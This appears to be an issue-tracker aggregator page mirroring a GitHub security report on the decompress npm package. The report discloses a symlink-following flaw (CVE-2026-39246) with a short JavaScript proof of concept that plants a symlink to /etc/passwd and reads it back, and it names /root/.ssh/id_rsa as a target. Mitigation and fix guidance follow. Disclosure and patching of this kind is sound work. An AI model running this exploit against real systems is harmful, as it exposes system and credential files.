kevva / kevva/decompress

[CVE-2026-39246] Arbitrary symlink creation during extraction → information disclosure

Open
#114 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
419
Forks
55
PR merge metrics
No merged PRs in 30d

Description

## Summary

`decompress` (<= 4.2.1) creates symlinks from archive entries without validating the link target. The `preventWritingThroughSymlink` check only runs for `file` entries, not for symlink creation, so a crafted archive can plant symlinks inside the output directory pointing to arbitrary paths (e.g. `/etc/passwd`, `/root/.ssh/id_rsa`).

- **CVE:** CVE-2026-39246
- **CWE:** CWE-59 / CWE-61 (Improper Link Resolution / UNIX Symbolic Link Following)
- **Affected versions:** decompress <= 4.2.1
- **Fixed:** no fix released yet
- **Attack vector:** remote (crafted archive), no authentication required

## Affected component

`index.js` (lines ~120-121):
fsP.symlink(x.linkname, dest)

The `preventWritingThroughSymlink` validation on line ~98 only applies to file entries. The symlink target `x.linkname` is never checked against the output directory boundary.

## Impact

If the application reads or serves the extracted files, the attacker can read any file the process can access (information disclosure). This also sets up write-through-symlink primitives when combined with subsequent file entries.

## Proof of concept

```js
const decompress = require('decompress');
const tar = require('tar-stream');
const fs = require('fs');

const pack = tar.pack();
pack.entry({ name: 'passwd', type: 'symlink', linkname: '/etc/passwd' });
pack.finalize();

const chunks = [];
pack.on('data', c => chunks.push(c));
pack.on('end', async () => {
await decompress(Buffer.concat(chunks), '/tmp/out');
// Symlink created inside the output dir pointing to /etc/passwd:
console.log(fs.readlinkSync('/tmp/out/passwd')); // -> /etc/passwd
console.log(fs.readFileSync('/tmp/out/passwd', 'utf8')); // leaks /etc/passwd
});
```

Mitigation

- Do not extract untrusted archives with this package.
- Validate the resolved symlink target against the output directory before creating it.

Reported by Daniel Pua (devploit).

Contributor guide

No contributing guide indexed for this repository

Research direction

Start with index.js around lines 98 and 120-121, then reproduce the provided tar-stream proof of concept. Trace how symlink entries are created and verify that resolved targets stay within the output directory. Done means the proof of concept can no longer create a symlink to /etc/passwd or another path outside the extraction directory.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript, node.js
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
58/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.